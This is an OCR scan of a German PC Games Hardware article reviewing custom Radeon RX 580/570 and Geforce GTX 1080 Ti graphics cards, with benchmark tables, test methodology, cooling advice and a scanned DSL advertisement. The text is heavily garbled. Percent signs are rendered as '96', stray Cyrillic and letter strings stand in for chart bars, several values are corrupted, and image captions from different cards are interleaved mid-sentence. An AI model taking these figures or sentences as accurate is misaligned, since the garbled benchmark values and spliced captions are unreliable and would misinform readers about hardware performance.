Nvidia Geforce GTX 1060/6G MEERE 31,1 (-4 96) 
AMD Radeon АХ 480/4G ШШШ pa 30,2 (-7 96) 
AMD Radeon R9 390/8G. 2618 29,7 (-9 96) 
AMD Radeon RX 570/4G ISSUE 28,1 (-14 96) 
AMD Radeon RX 470/8G. 2318 27,5 (-15 96) 
AMD Radeon RX 470/4G. 9221 26,7 (-18 %) 

AMD Radeon R9 280X/3G. ШИ 20,2 (-38 96) 

Nvidia Geforce GTX 970/3,5+0,5G Ш 8 19,1 (-41 96) 
Nvidia Geforce GTX 780/36 БШШ 15,6 (-52 96) 
Nvidia Geforce GTX 1060/3G BIH 14,5 (-55 96) 
AMD Radeon А9 380/26 WEM 13,2 (-59 96) 
Nvidia Geforce GTX 770/26 EBI] 9,9 (-70 96) 


GTA 5 (DX11), Gras „sehr hoch", 4x MSAA/16:1 AF - „Grapeseed” 


Nvidia Geforce GTX 1060/6G ВЕ 2618 28,4 (+11 96) 
AMD Radeon А9 390X/8G [3811 27,8 (+8 96) 
Nvidia Geforce GTX 1060/3G. wm 26,7 (+4 96) 
AMD Radeon R9 390/86 Log 25,9 (+1 96) 
AMD Radeon RX 580/8G SIII II.0I,SITI (Basis) 
AMD Radeon RX 480/8G. ШШШ 24,7 (-4 96) 
Nvidia Geforce GTX 970/3,5+0,5G Ett 24,1 (-6 96) 
AMD Radeon RX 480/4G. Ei 24,1 (-6 96) 
AMD Radeon RX 570/4G Ш 23,2 (-10 %) 
Nvidia Geforce GTX 780/36 ami 22,8 (-11 96) 
AMD Radeon RX 470/4G EU 22,1 (-14 96) 
AMD Radeon RX 470/86 MEZO] 21,8 (-15 96) 
AMD Radeon R9 280X/3G. ШЕ 19,1 (-26 96) 
AMD Radeon R9 380/26 WEIN 12,6 (-51 96) 
Nvidia Geforce GTX 770/26 118,5 (-67 96) 


System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), MSI X99A Tomahawk, 4 x 8 GiB Corsair DDR4-3000 (1T); Windows 10 x64 (1607), Geforce 378.92/.78, Radeon Software 17.4/3, HQ-AF 
Bemerkungen: Mit steigender Auflósung zahlen sich 8 und 6 GiByte Grafikspeicher aus. Die altehrwürdige Radeon R9 390X kann ein paar Plátze gutmachen und ist eine harte Konkurrenz für die RX 580. 


Mimi @ Fps 
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Herstellerdesigns 


ie meisten AMD-Partner ver- 
I3 auf eine Übernahme 
des Referenzdesigns und setzen 
stattdessen auf eigene Kühler und 
Platinen. Lóblich ist, dass deren vie- 
le nicht von den entsprechenden 
RX-400-Karten übernommen, son- 
dern gezielt verbessert wurden. Of- 
fenbar geniefst der Polaris-Refresh 
unter den Boardpartnern einen 
besseren Ruf als die Vorgänger, 
denn diesmal ist ausnahmslos jeder 
mit mehreren Designs zum Start 
dabei. Wir sammelten Informatio- 
nen und testeten die anwesenden 
Samples bis zur letzten Minute, 
um Ihnen einen angemessen ge- 
nauen Ersteindruck zu liefern. Die 
stets aktuelle Liste an RX-500-Her- 
stellerdesigns finden Sie unter 
www.pcgh.de/rx500customs. 


Nvidias Antwort 

Die Geforce-Macher sind nicht un- 
tätig, in Kürze werden die vor Mo- 
naten angekündigten Spezialversi- 
onen der Geforce GTX 1060 6GB 
erscheinen. Dahinter stecken stark 
übertaktete Custom-Designs mit 
9-Gbps-Speicher, welche das Port- 
folio ergänzen. Die GTX 1060/6G 
9 Gbps wird es nicht als Founder's 
Edition geben, die Partner über- 
nehmen das Design. Testergebnis- 
se kónnen wir Ihnen voraussicht- 
lich kommenden Monat bieten. 


1,5 GHz, wir kommen! 

Sechs Custom-Designs auf Basis 
der Radeon RX 580 und 570 haben 
uns erreicht. Dabei handelt es sich 
traditionell um die Flaggschiffe, 
denn die Hersteller haben ein In- 
teresse daran, in den Benchmarks 
zu glänzen. Daher verwundert es 
nicht, dass sich nur eine RX 570 
darunter befindet - jene Power- 
color Red Devil diente uns für die 
Verbrauchsmessungen auf Seite 15. 
Die Basis dieser Karte bildet ein 
dreifach axialbelüftetes Design, 
das der Hersteller bereits für die 


RX 480 Red Devil entwarf. Im ers- 
ten Test offenbart das Modell eine 
GPU-TDP von moderaten 110 Watt, 
welche genügt, um den Boost auf 
1.320 MHz in jeder Lage zu halten. 
Die Bildrate steigt gegenüber der 
Referenzkarte (1.244 MHz) um drei 
bis fünf Prozent. Im Leerlauf stehen 
die Lüfter still, unter Last ist das Ge- 
räusch subjektiv leise. 


Wichtig: Wenn wir von der GPU- 
TDP sprechen, ist tatsächlich das 
maximale Powerbudget des Gra- 
fikprozessors allein gemeint. Bei 
Radeon-Grafikkarten findet sich 
ein entsprechender Eintrag in je- 
der Firmware. Die Tools MSI After- 
burner und GPU-Z können diesen 
Watt-Wert in Echtzeit ausgeben. 


Die fünf anwesenden RX-580-Gra- 
fikkarten basieren teilweise auf 
bewährten und teilweise auf neuen 
Designs. Vertraut wirken die Asus 
Strix T8G - das „Т“ steht für Top, 
ergo übertaktet - und MSI Gaming 
X 8G. Während die MSI-Karte laut 
erster Prüfung physikalisch der RX- 
480-Variante entspricht, hat Asus 
kleinere Änderungen vorgenom- 
men: Der Kühler ist nicht mehr nur 
zwei Einbauslots hoch, sondern 
entspricht einem 2,5-Slot-Design, 
außerdem wurde die Kühlung der 
Spannungsregler verändert. 


Ganz neu und besonders ausufernd 
sind die Sapphire RX 580 Nitro+ Li- 
mited Edition, Powercolor RX 580 
Red Devil Golden Sample und Giga- 
byte RX 580 Aorus XTR. Sapphire, 
deren RX-400-Designs ungewohnt 
laut waren, hat das Nitro-Konzept 
gezielt verstärkt, der Kühler bietet 
eine wesentlich größere Kühlflä- 
che als sein Vorgänger. Im ersten 
Test arbeitet die Karte angenehm 
leise und kann dennoch ihren bis 
zu 1.450 MHz starken Boost (+8,2 
% OC) weitgehend aufrechterhal- 
ten. Die Nitro+ existiert auch ohne 


RX 580/570: Leistung der Partnerkarten 


The Witcher 3, 1080p, kein Gameworks, Ingame-AA/16:1 AF - „Boat Trip” 


Geforce GTX 1080 Ti/11G pad Ec 132,0 (+111 %) 
Titan X (Pascal)/12G 23 130,3 (+108 90) 
Geforce GTX 1080/8G a 0X,I 109,1 (+75 96) 
Geforce GTX 1070/86 [gs] 87,0 (+39 96) 
Geforce GTX 980 Ti/6G et 79,8 (+28 96) 
Radeon R9 Fury X/4G mnt 74,7 (+20 %) 
Simuliert: GTX 1060 OC/6G 9 Gbps MEEME 70,1 (+12 %) 
RX 580/8G @ 1.500/4.500 MHz eegent 69,2 (+ 11 %) 
MSI GTX 1060 Gaming X/6G EEG 67,7 (+8 %) 
Geforce GTX 980/46 ed 66,6 (+7 96) 
Sapphire RX 580 Nitro+ Ltd. Boost" Pet 66,3 (+6 96) 
Powercolor RX 580 Red Dev. GS ,Boost^ 311 65,7 (+5 96) 
Gigabyte RX 580 Aorus XTR/8G. Pest 65,7 (+5 96) 
Powercolor RX 580 Red Dev. GS ,Silent" 311 65,1 (+4 96) 
Sapphire RX 580 Nitro+ Ltd. ,Silent" EEG 65,0 (+4 96) 
Asus RX 580 Strix OC/8G. FEST 65,0 (+4 96) 
MSI RX 580 Gaming X/8G PE 64,3 (+3 %) 
Radeon RX 580/8G c0! 62,5 (Basis) 
Geforce GTX 1060/6G 581? 61,2 (-2 96) 
Radeon RX 480/8G [8I 60,2 (-4 96) 
Radeon RX 480/4G. Essi 58,8 (-6 96) 
Powercolor RX 570 Devil/4G WSECƏGICGGGGHGIIIIIMIYIAII£IIIAIIAIIA 
Geforce GTX 1060/3G ВЕ] 57,1 (-9 96) 
Radeon RX 570/4G. oe 55,2 (-12 %) 
Geforce GTX 970/3,5+0,5G MEMEA] 54,3 (-13 %) 
Radeon R9 390X/8G [smi 53,7 (-14 96) 
Geforce GTX 780 Ti/3G Est 53,1 (-15 96) 
Radeon АХ 470/4G Esq 52,8 (-16 96) 
Radeon RX 470/86 sit 52,7 (-16 96) 
Radeon R9 290X/4G wr 49,6 (-21 96) 
Geforce GTX Titan/6G x6! 48,4 (-23 %) 
Radeon R9 390/86 |i] 47,5 (-24 %) 
Radeon R9 290/46 agit 44,7 (-28 96) 
Geforce GTX 780/36 Eq 44,6 (-29 96) 
Geforce GTX 770/4G. EBEN 39,1 (-37 %) 
Radeon R9 380/4G. Egi 39,0 (-38 96) 
Geforce GTX 770/26 E3811 38,9 (-38 96) 
Radeon R9 380/26 E37] 38,9 (-38 90) 
Radeon R9 280X/4G. E381 37,3 (-40 96) 
Geforce GTX 1050 Ti/4G 331! 35,8 (-43 96) 
Geforce GTX 1050/26 [mi 29,7 (-52 96) 
Radeon RX 460/4G 201] 22,0 (-65 96) 
Radeon RX 460/26 В 201] 22,0 (-65 96) 


System: Core i7-6800K @ 4,4 GHz, MSI X99A Tomahawk, 4 x 8 GiB Corsair DDR4-3000 
(1T); Windows 10 x64, GF 381.65, RS 17.4.1, HQ-AF Bemerkungen: Messungen der 
Herstellerdesigns erst nach Aufheizperiode, um realistische Boosts zu erhalten. 


MiMi @ Fps 


» Besser 


Anhängsel, bietet dann jedoch ma- 
ximal 1.411 MHz (+5,3 %) und eine 
schwarze Kühlerhaube. Die Red 
Revil und Aorus liefern sich indes 
ein Kopf-an-Kopf-Rennen - nicht 
nur bei der Höhe ihrer 2,5-Slot- 
Kühler nebst doppelt-axialer Be- 
lüftung, sondern auch bei den Tak- 


"TUTE 


traten. 1.425 MHz (+6,3 %) sind bei 
beiden Programm, wobei Sie bei 
Powercolor per BIOS-Schalter auch 
einen Silent-Modus mit 1.411 MHz 
wählen dürfen. Weitere Details fin- 
den Sie auf der folgenden Seite und 
den kompletten Test in der nächs- 
ten Ausgabe. (ru) 


PLATINUM 


E GRAFIKKARTEN | Radeon RX 580/570 inkl. Herstellerdesigns im Test 


Asus' RX 580 Strix T8G verwendet nicht den Kühler der RX 480 Strix, sondern Gigabytes Marke Aorus steht für hohe Leistung und durchdachte Kühlung. Analog 
erstmals ein 2,5-Slot-Design. Die leise Karte mit 1.411 MHz wird auf Wunsch noch zur GTX 1080 Ti (S. 22ff.) liefert auch die RX 580 XTR hier keinen Grund zu Kritik, alle 
unauffälliger, Asus stellt auf seiner Website ein Silent-BIOS mit gleichem Takt bereit. Hitzequellen werden vom Radiator behandelt. Dank 1.425 MHz sehr schnell und leise. 


MSI setzt für die RX 580 Gaming X 8G auf das bewáhrte Design der RX 480 aus Die Powercolor RX 570 Red Devil verfügt über das Dual-Slot-Kühldesign der RX 480 
gleichem Hause - sie ist die leiseste 480 gemäß PCGH-Tests und die 580 scheint ihr Red Devil und einen Boost auf stabile 1.320 MHz. Auffällig ist die Länge der Karte, 
zu folgen. Wertmutstropfen: RAM und VRMs werden nur von einer Alu-Platte gekühlt. sie misst wegen ihrer drei Axiallüfter stattliche 30 cm. Schnell und fast immer leise. 


Sapphires RX 580 Nitro+ Limited Edition trágt zwei Strombuchsen, um auch das Die RX 580 Red Devil Golden Sample basiert auf einem 2,5-Slot-Kühler und bietet 
Boost-BIOS mit 1.450 MHz (185W GPU-TDP) zu stemmen. Damit ist sie die schnellste zwei Betriebsmodi via BIOS: OC (1.425 MHz, 190W GPU-TDP) und Silent (1.411 MHz). 
RX 580. Das Silent-BIOS bietet 1.411 MHz bei 175W GPU-TDP. Sehr schnell und leise. Auch die Beleuchtung lässt sich per Schalter deaktivieren. Sehr schnell, aber hörbar. 
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1&1 DSL 


INTERNET & TELEFON 


Sparpreis für 12 Monate, 
danach 24,99 €/Monat. 


eed mit neuester 
bestes Internet 


m ganzen Haus! 


( 02602 96 90 


*1&1 DSL Basic für 12 Monate 9,99 €/Monat, danach 24,99 €/Monat. Inklusive Telefon-Flat ins dt. Festnetz, Internet ohne Zeitlimit (monatlich 100 GB bis zu 16 MBit/s, 1 di d 
danach bis 1 MBit/s) und 1&1 DSL-Modem für 0,— €. Oder auf Wunsch z. B. mit 1&1 HomeServer Speed für 4,99 €/Monat mehr. 100,— € Wechsler-Bonus bei Rufnummern- u n = e 
Mitnahme (Verrechnung mit der Grundgebühr ab dem 4. Monat) bei 1&1 DSL 100 für 19,99 €/Monat 12 Monate, danach 34,99 €/Monat. Hardware-Versand 9,90 €. 

24 Monate Vertragslaufzeit. Preise inkl. MwSt. 1&1 Telecom GmbH, Elgendorfer Straße 57, 56410 Montabaur 
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WW 


6 x GTX 10801! 


Sechs màchtige Herstellerdesigns auf Basis der Geforce GTX 1080 Ti versammeln sich zum High-End- 
Schlagabtausch. PCGH verrät im ausführlichen Test, welches Modell die Kühlerhaube vorn hat. 


war veröffentlichte Nvidia im 

April die neue Titan Xp (sie- 
he Seite 12), der wahre Star am 
High-End-Himmel ist jedoch die 
Geforce GTX 1080 Ti. Sie rangiert 
dank des noch vertretbaren Preises 
und verfügbarer Custom-Designs 
weit oben in der Gunst spielender 
PC-Enthusiasten. In der vergange- 
nen Ausgabe testeten wir Nvidias 
Referenzdesign alias „Founder’s 
Edition“ auf Herz und Nieren, die- 
sen Monat ist die erste Ladung an 
Herstellerdesigns an der Reihe. 
Die Nvidia-Partner waren fleißig, 
sie alle haben eines oder mehrere 
Modelle mit modifizierter Kühlung 
ausgeliefert, viele von ihnen sogar 
komplette Redesigns. Wir klären 
im Test, welche Modelle empfeh- 
lenswert sind. 
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Wirkungen und Risiken 

Die Geforce GTX 1080 Ti markiert 
in Form der vorliegenden Herstel- 
lerdesigns die aktuelle Leistungs- 
spitze. Wer sich für eines der getes- 
teten Modelle entscheidet, erhält 
High-End-Grafikleistung, die sich 
nicht vor der 1.349 Euro teuren Ti- 
tan Xp verstecken muss. Mit dieser 


Kraft gehen jedoch hohe Anforde- 
rungen sowohl an das Netzteil als 
auch an die Belüftung des Gehäu- 
ses einher. Die Referenzkarte von 
Nvidia macht in diesem Kontext 
die beste Figur, da es sich um ein 
Direct-Heat-Exhaust-Design han- 
delt: Das Gros der unter Volllast 
auftretenden Abwärme wird durch 


Auf dem Datenträger 

der DVD-Plus-Heft- 

version finden Sie 

Bilder aller hier getesteten 
GTX-1080-Ti-Grafikkarten. Auf- 

grund der zwei großen Vollversionen befinden 
sich alle Videos zu den Modellen online unter 
www.pcgh.de/1080ticustoms. 


= eet = 


die Slotblende aus dem Gehäuse 
gepresst. Da Grafikkarten wahre 
sind, elektrische 
Energie in Wärme umzuwandeln 
und wir hier von Grafikkarten zwi- 
schen 250 und 320 Watt Spitzenver- 
brauch reden, ist dieser Punkt tat- 
sächlich von Relevanz - nicht nur 
für die Stromrechnung, sondern 
auch für die Stabilität des gesam- 
ten Systems. Eine DHE-Grafikkarte 
gibt nur wenig Wärme ins Gehäuse 
ab, während beinahe jedes Herstel- 
lerdesign auf Axialbelüftung setzt. 
Funktionsbedingt wird hier, wenn 
überhaupt, nur sehr wenig Luft aus 


Meister darin 


dem Rechner gepresst. Stattdessen 
wird die entstehende Hitze im Ge- 
häuse verteilt, wo sich die ande- 
ren Komponenten damit herum- 
schlagen müssen. Aufgrund seiner 
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besonders exponierten Position 
direkt oberhalb der Grafikkarte 
ist der Prozessor beziehungsweise 
dessen Kühler, welcher die war- 
me Abluft der Grafikkarte ansaugt 
und somit potenziell in thermische 
Probleme läuft. Das führt zwar 
nicht direkt zu einem Defekt, aber 
gleichermaßen zu sinkender Le- 
benszeit der Komponenten wie zu 
höherer Lautstärke und Abstürzen. 


Eine Überhitzung lässt sich mithil- 
fe eines ordentlichen Lüftungskon- 
zepts umgehen. Moderne, durch- 
dachte PC-Behausungen verfügen 
über mindestens zwei Lüfter: einen 
sogenannten Intake und einen 
Outtake. Ersterer, in der Regel an 
der Gehäusefront montiert, saugt 
kühle Umgebungsluft aus dem 
Zimmer ins Case. Im Idealfall wird 
er von einem Kollegen - dem Out- 
take - am Heck des Gehäuses er- 
gänzt, welcher die Abwärme nach 
draußen befördert. In den meisten 
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Fällen verhindert ein solcher Auf- 
bau Wärmestau im System, vor al- 
lem in Kombination mit adaptiver 
Lüfterdrehzahl, die sich unter Last 
erhöht. Auch kann es sich lohnen, 
der Abwärme durch den Gehäuse- 
deckel freien Lauf zu lassen, denn 
bekanntlich tendiert kalte Luft 
nach unten und die warme folge- 
richtig nach oben. Wer dort einen 
Radiator platziert, sei er von einer 
modularen oder kompakten Was- 
serkühlung, hilft dem PC-Klima da- 
mit natürlich und effektiv. 


Verfeinerte Benotung 

Aus gegebenem Anlass informieren 
wir Sie in diesem Artikel erneut 
ausführlich über unsere Grafikkar- 
ten-Testmethodik - beachten Sie 
dazu den Kasten auf der rechten 
Seite. Für diese Marktübersicht 
haben wir kleinere Anpassungen 
vorgenommen, um den aktuellen 
Entwicklungen besser gerecht zu 
werden. Auch diese haben ihre Ur- 


Wussten Sie, dass ... 


.. Blaise Pascal, Namensgeber der aktuellen Nvidia-Gene- 
ration, ein berühmter Mathematiker und Physiker des 17. 

Jahrhunderts war? Nach ihm wurden auch die SI-Einheit 

des Luftdrucks sowie eine Programmiersprache benannt. 


X»... der 2D-Takt bei Pascal-Karten bei werkseitig übertakteten Modellen höher 
ausfällt? Das heißt, eine Karte mit erhöhtem Basistakt arbeitet im Leerlauf mit 
mehr als den 139 MHz der Referenzmodelle, 203 bis 278 MHz sind üblich. 
Das wirkt sich nicht auf die gefühlte Desktop-Leistung aus, kann aber eine 
erhöhte Leistungsaufnahme bedeuten. 


X»... GP102-GPUs in 1080-Ti-Konfektion (GP102-350-K1) im Leerlauf mit 0,650 


Volt arbeiten, die Titan X (Pascal) jedoch nur mit 0,625 Volt? 


.. GP102-GPUs in unserem Overclocking-Test an der 2,1-GHz-Marke scheitern? 


PCGH-Messmethodik 


PC Games Hardware legt Wert auf akkurate und transparente Mes- 
sungen. Damit Sie wissen, wie wir die Leistung von Grafikkarten 
bewerten, erláutern wir an dieser Stelle die wichtigsten Kriterien. 


Alle Messungen finden im Freiluftaufbau bei sommerlichen 25 °C Raumtemperatur 
statt. PCGH setzt zur Bewertung des Betriebsgeräusches auf die psychoakustische 
Maßeinheit Sone, da sie im Gegensatz zu Dezibel auch Geráusch-Charakteristika 
wie Brummen und Pfeifen abbildet. Nachdem wir die maximalen Lüfterdrehzahlen 
der Probanden am reguláren Testsystem notiert haben, folgen die Lautheitsmes- 
sungen im schallarmen Raum. Der Messfühler (unten im Bild) befindet sich 50 
Zentimeter von dem bzw. den Lüftern entfernt, senkrecht zur Nabe und nimmt 
jede Ton-Nuance wahr. Angegeben ist stets die maximal erreichte Lautheit im Test. 


Auch Spulenfiepen/-rattern flieBt in die Lautheitsmessung (unter Last) ein. Dieses 
Stórgeráusch tritt bei allen Komponenten auf, die zur Filterung der Eingangsspan- 
nung einen LC-Schwingkreis (Spule plus Kondensator) einsetzen. Dazu zählen 
Grafikkarten, Netzteile, Monitore und Mainboards. Die Lüfter haben damit nichts 
zu tun. Einige Platinen neigen stárker zum Fiepen/Zirpen als andere — wir geben 
diese Eigenschaft seit Jahren im Test an. 


Um den Stromverbrauch der Grafikkarte isoliert zu erfassen, greifen wir mithilfe 
eines PCI-E-Extenders und eines Multimeters im laufenden Betrieb sowohl die 
Spannungen als auch die Stromstárke ab und errechnen daraus die Leistungs- 
aufnahme in Watt. Dazu kommen drei Spiele zum Einsatz: Anno 2070 (Ultra HD), 
The Witcher 3 (Ultra HD) und Crysis 3 (Full HD). Anno und der Hexer haben sich 
in PCGH-Tests als besonders powerintensiv erwiesen, erzeugen ergo die hóchsten 


Verbrauchs-/Hitzewerte und drücken den GPU-Boost am stárksten — sowohl bei 


AMD- als auch bei Nvidia-Grafikkarten. Crysis 3 verkörpert die Leistungsaufnahme 
bei typischer Last, wáhrend wir The Witcher 3 als Overclocking-Hártetest nutzen. 
Die Benotung erfolgt anhand des höchsten in Spielen gemessenen Verbrauchs. 
Einzig der informelle Punkt , Extremfall" in der Testtabelle ist offen gehalten: Hier 
inden Sie die hóchste von uns gemessene Leistungsaufnahme — das kann im 
PCGH-VGA-Tool sein, aber auch in einem anderen Test. Seit 2016 messen wir, dem 
Zeitgeist entsprechend, ein Youtube-Video (Ultra HD). 
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Asus Fan Connect: Am Heck der Strix lassen sich zwei 3- oder 4-Pol-Lüfter anschlie- 
Ben. Die Regelung erfolgt mithilfe des Asus-Tools GPU Tweak Il. Das ist praktisch, um 
der Grafikkarte unter Volllast zusätzliche Frischluft bereitzustellen. 


sache in der Leistungsaufnahme. Je 
energiehungriger eine Grafikkarte 
ist, desto wichtiger ist adäquate 
Kühlung. Wir haben die Benotung 
der Spannungswandlerkühlung da- 
her etwas verfeinert: Anstelle pau- 
schal eine gute Wertung für einen 
vorhandenen VRM-Kühler und eine 
schlechte bei Nichtvorhandensein 
zu vergeben - Letzteres gibt es nur 
bei Einsteiger-GPUs -, fließen die 
Implementierung des Kühlers und 
Temperaturen nun eindeutig in die 
Note ein. Damit zollen wir aufwen- 
digen Entwicklungen Tribut, deren 
Kühler direkten Kontakt zu den 
Spannungsregulatoren aufnehmen, 
anstatt sie mit einem mehr oder 
minder kleinen Aluminiumprofil 
abzuspeisen. Dazu gleich mehr. 


Auf vielfachen Leserwunsch er- 
folgt auch der Overclocking-Test 
feinkörniger als zuvor. Anstelle der 


Tests mit +10/+15/+20 Prozent er- 
höhtem Takt - jeweils ausgehend 
vom automatisch gesetzten Boost - 
testen wir uns nun bei jeder Karte 
gezielt an das Taktlimit heran und 
geben dieses mitsamt prozentua- 
ler Steigerung an. Nicht verändert 
hat sich das zum Test verwendete 
Spiel: The Witcher 3 deckt Stabi- 
litätsprobleme schonungslos und 
besser auf als die meisten anderen 
Titel, weshalb es uns seit Release 
als OC-Messlatte dient. High-End- 
Grafikkarten wie die Geforce GTX 
1080 Ti müssen maximale Details 
in Ultra-HD-Auflösung stemmen. 
Läuft eine Frequenz über zehn Mi- 
nuten stabil, wird sie notiert. 


Wichtig: Zwar sind unsere OC- 
Angaben wesentlich belastbarer 
als so mancher 3DMark-/Unigine- 
Schnellschuss, dennoch handelt 
es sich nur um einen Indikator für 


Geforce GTX 1080 Ti: Leistung der Partnerkarten in Ultra-HD-Auflösung 


Doom (Vulkan), Ultra-Preset, TSSAA 8TX/16:1 AF - , Devil's Dance" 


GTX 1080 Ti @ -2.075/6.200 MHz Egg iw 107,2 (+23 %) 
GTX 1080 Ti @ -2.000/5.800 MHz a u 5 T 104,2 (+20 96) 
Zotac GTX 1080 Ti AMP! Extreme ss“ IS. 101,4. (+17 96) 
Inno 3D GTX 1080 Ti iChill ХЗ Ultra EEE III 99,6 (+15 96) 
MSI GTX 1080 Ti Gaming X 11G BE 97 8 (+13 96) 
Asus GTX 1080 Ti Strix O11G ESSERE ISI 97 4 (+12 96) 
Gigabyte GTX 1080 Ti Aorus Xtreme ВО ИЕШЕ 96,1 (+11 96) 
Caseking GTX 1080 Ti Custom Loop Fe I 94,3 (+9 %) 
Geforce GTX 1080 Ti FE/11G [m 86,9 (Basis) 
Titan X (Pascal)/12G aü 85,0 (-2 90) 
Geforce GTX 1080/86 | ШЕШШ 69,0 (-21 %) 
Radeon R9 Fury X/4G Egg 57,2 (34 %) 
Geforce GTX 1070/8G. Eau 52,6 (-39 96) 
АХ 580/8G @ 1.500/4.500 MHz Et s 50,4 (-42 %) 
Geforce GTX 980 Ti/6G 3g 47,3 (-46 %) 
Radeon RX 580/8G Egi 46,1 (-47 96) 
Radeon RX 480/8G. resa ps 44,4 (-49 %) 
Radeon R9 390X/8G. sel 43,5 (-50 96) 
Radeon RX 480/4G Egg 42,7 (-51 96) 
Radeon R9 290X/4G [3s 41,4 (-52 96) 
Radeon R9 390/86 MEME 39,5 (-55 90) 
Geforce GTX 980/46 agi 39,3 (-55 96) 
Radeon RX 470/8G. Eau 38,0 (-56 96) 
Radeon RX 470/46 soi e 37,5 (-57 96) 
Radeon R9 290/46 E30 36,4 (-58 96) 
Geforce GTX 1060/66 gl 36,2 (-58 96) 
Radeon R9 280X/3G |a Ex 32,0 (-63 96) 
Geforce GTX 970/3,5+0,56 Xm 31,8 (-63 96) 
Geforce GTX 1060/3G ШЕЯ 25,9 (-70 96) 
Geforce GTX 780 Ti/3G В 25,9 (-70 96) 
Geforce GTX Titan/6G [2018 24,0 (-72 96) 
Geforce GTX 780/3G. Era 19,7 (-77 96) 
Geforce GTX 770/26 HIN 15,3 (-82 96) 


The Witcher 3, kein Gameworks, Ingame-AA/16:1 AF - „Boat Trip" 


GTX 1080 Ti @ -2.075/6.200 MHz sg] 62,1 (+22 96) 
GTX 1080 Ti @ -2.000/5.800 MHz sg 59,7 (4-18 96) 
Zotac GTX 1080 Ti AMP! Extreme ERR 58,1 (+15 96) 
Inno 3D GTX 1080 Ti iChill ХЗ Ultra ES 57,6 (4-14 96) 
MSI GTX 1080 Ti Gaming X 11G ESI 56,9 (+12 96) 
Asus GTX 1080 Ti Strix 011G FREE 56,6 (+12 96) 
Gigabyte GTX 1080 Ti Aorus Xtreme ESSI II 56,5 (+11 96) 
Caseking GTX 1080 Ti Custom Loop erg 55,5 (+9 96) 
Geforce GTX 1080 Ti FE/11G Et 50,7 (Basis) 
Titan X (Pasca) 26 EX 50,1 (-1 90) 
Geforce GTX 1080/86 |i 40,4 (-20 96) 
Geforce GTX 1070/86 3911 31,3 (-38 96) 
Radeon R9 Fury X/4G 39i] 30,7 (-39 %) 
Geforce GTX 980 Ti/6G 381] 29,4 (-42 96) 
RX 580/8G © 1.500/4.500 MHz 231] 24,6 (-51 96) 
Geforce GTX 980/4G [931] 24,0 (-53 96) 
Radeon RX 580/8G ärt 22,6 (-55 96) 
Geforce GTX 1060/6G [9301] 22,0 (-57 96) 
Radeon RX 480/8G 21 21,9 (-57 96) 
Radeon RX 480/4G ВЕ 0] 21,1 (-58 96) 
Radeon R9 390X/8G EIS] 21,1 (-58 96) 
Geforce GTX 780 Ti/3G gi 20,4 (-60 %) 
Geforce GTX 1060/36 METS] 20,3 (-60 %) 
Geforce GTX 970/3,5+0,5G ШЕВ] 19,3 (-62 %) 
Radeon R9 290X/4G 181] 19,3 (-62 96) 
Geforce GTX Titan/6G Ш 81 18,9 (-63 96) 
Radeon RX 470/86 EMI 18,8 (-63 96) 
Radeon RX 470/46 SERI 18,8 (-63 96) 
Radeon R9 390/86 [utri] 18,4 (-64 %) 
Radeon R9 290/46 "EI 17,4 (-66 96 
Geforce GTX 780/36 Ш @| 17,1 (-66 96 
Radeon R9 280X/3G BENA] 15,6 (-69 96) 
Geforce GTX 770/2G EBI] 14,4 (-72 96) 


) 
) 


System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), MSI X99A Tomahawk, 4 x 8 GiB Corsair DDR4-3000 (1T); Windows 10 x64, Geforce 381.65 WHQL, Radeon Software 17.4.2, HQ-AF 
Bemerkungen: Allen Messungen der 1080-Ti-Herstellerdesigns geht eine Aufheizperiode voraus, um realistische Boosts zu erhalten. Die OC-Modelle distanzieren sich klar von der Referenzkarte. 


Mimi 2 Fps 


» Besser 
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die Taktbarkeit. Im Langzeittest 
müssen die Frequenzen vermutlich 
leicht reduziert werden. Vergleich- 
bar sind die Angaben jedoch. Bei al- 
ledem muss beachtet werden, dass 
jede Grafikkarte ein Unikat mit ei- 
genen elektrischen Eigenschaften 
ist - Ihr Exemplar kann besser, aber 
auch schlechter taktbar sein. 


Konstruktive Kritik zum Testver- 
fahren ist ausdrücklich erwünscht 
- schreiben Sie uns mit dem Betreff 
„GPU-Tests“ an rv@pcgh.de! 


Aufrüstszenarien 

Darüber, wann sich eine Aufrüs- 
tung lohnt, wird niemals Einigkeit 
herrschen. Die Frage, ob das Up- 
grade auf eine der hier getesteten 
Grafikkarten sinnvoll ist, lässt sich 
jedoch in den meisten Fällen mit 
Ja beantworten - allein Besitzer 
einer Titan X(p) sind ausgenom- 


men. Erfahrungsgemäß wechseln 
High-End-Käufer bevorzugt auf das 
nächste High-End. Tatsächlich kön- 
nen auch Nutzer einer GTX 1080 
(Non-Ti) über einen Wechsel nach- 
denken, vor allem dann, wenn eine 
unübertaktete Founder’s Edition 
im PC werkelt. Ein Blick auf den 
PCGH-Leistungsindex, welcher 
Referenzkarten untereinander ver- 
gleicht, offenbart eine Differenz 
von bis zu 27 Prozent, nämlich in 
Ultra HD. Hinzu kommt, dass die 
hier getesteten 1080-Ti-Designs 
um mindestens 12 und bestenfalls 
um 22 Prozent schneller rechnen 
als die Referenzkarte. Noch bes- 
ser sieht es für Besitzer einer GTX 
1070, 980 Ti oder Radeon RO Fury 
X aus, hier warten mittlere Leis- 
tungsgewinne von über 50 Pro- 
zent. Um es ganz genau zu wissen, 
studieren Sie die Seite 13 und die 
Benchmarks links unten. 
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Eine witzige Idee: MSI legt einen 
(englischsprachigen) Comic bei, der als 
Einbau-Anleitung für die Grafikkarte dient. 
Weitere Sprachen gibt's online. 


Exemplarische Taktverlà 


ufe: 15 Minuten unter Volllast 


Anno 2070, maximale Details, 3.840 x 2.160 Pixel — „Ват!“ 
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The Witcher 3, maximale Details (ohne Gameworks), 3.840 x 2.160 Pixel - „Skellige Forest” 
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System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), MSI X99A Tomahawk, 4 x 8 GiByte Corsair DDR4-3000 (1T); Windows 10 x64, Geforce 381.65 WHQL, HQ-AF. Bemerkungen: Bei der Founder's Edition limitiert nicht nur das 
Powerlimit, sondern primär der Kühler, sodass die Karte ihren Boost und die korrespondierenden Spannungen senken muss. Das Gigabyte-Beispiel (grün) zeigt, was bei nahezu optimalen Voraussetzungen möglich ist. 
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VR MODE 
Optimized for your VR gaming setup 


For connecting a DVI-D monitor 


ET o =o; o EGLI e EE oJ 


Koi 


Gigabyte Aorus: Die Karte verfügt über das „VR Link”-Feature, das Nutzern entspre- 
chender head-mounted Devices zugutekommt. Insgesamt stehen drei HDMI-Ports zur 
Verfügung, einer davon am Heck der Karte. 


STANDARD MODE 


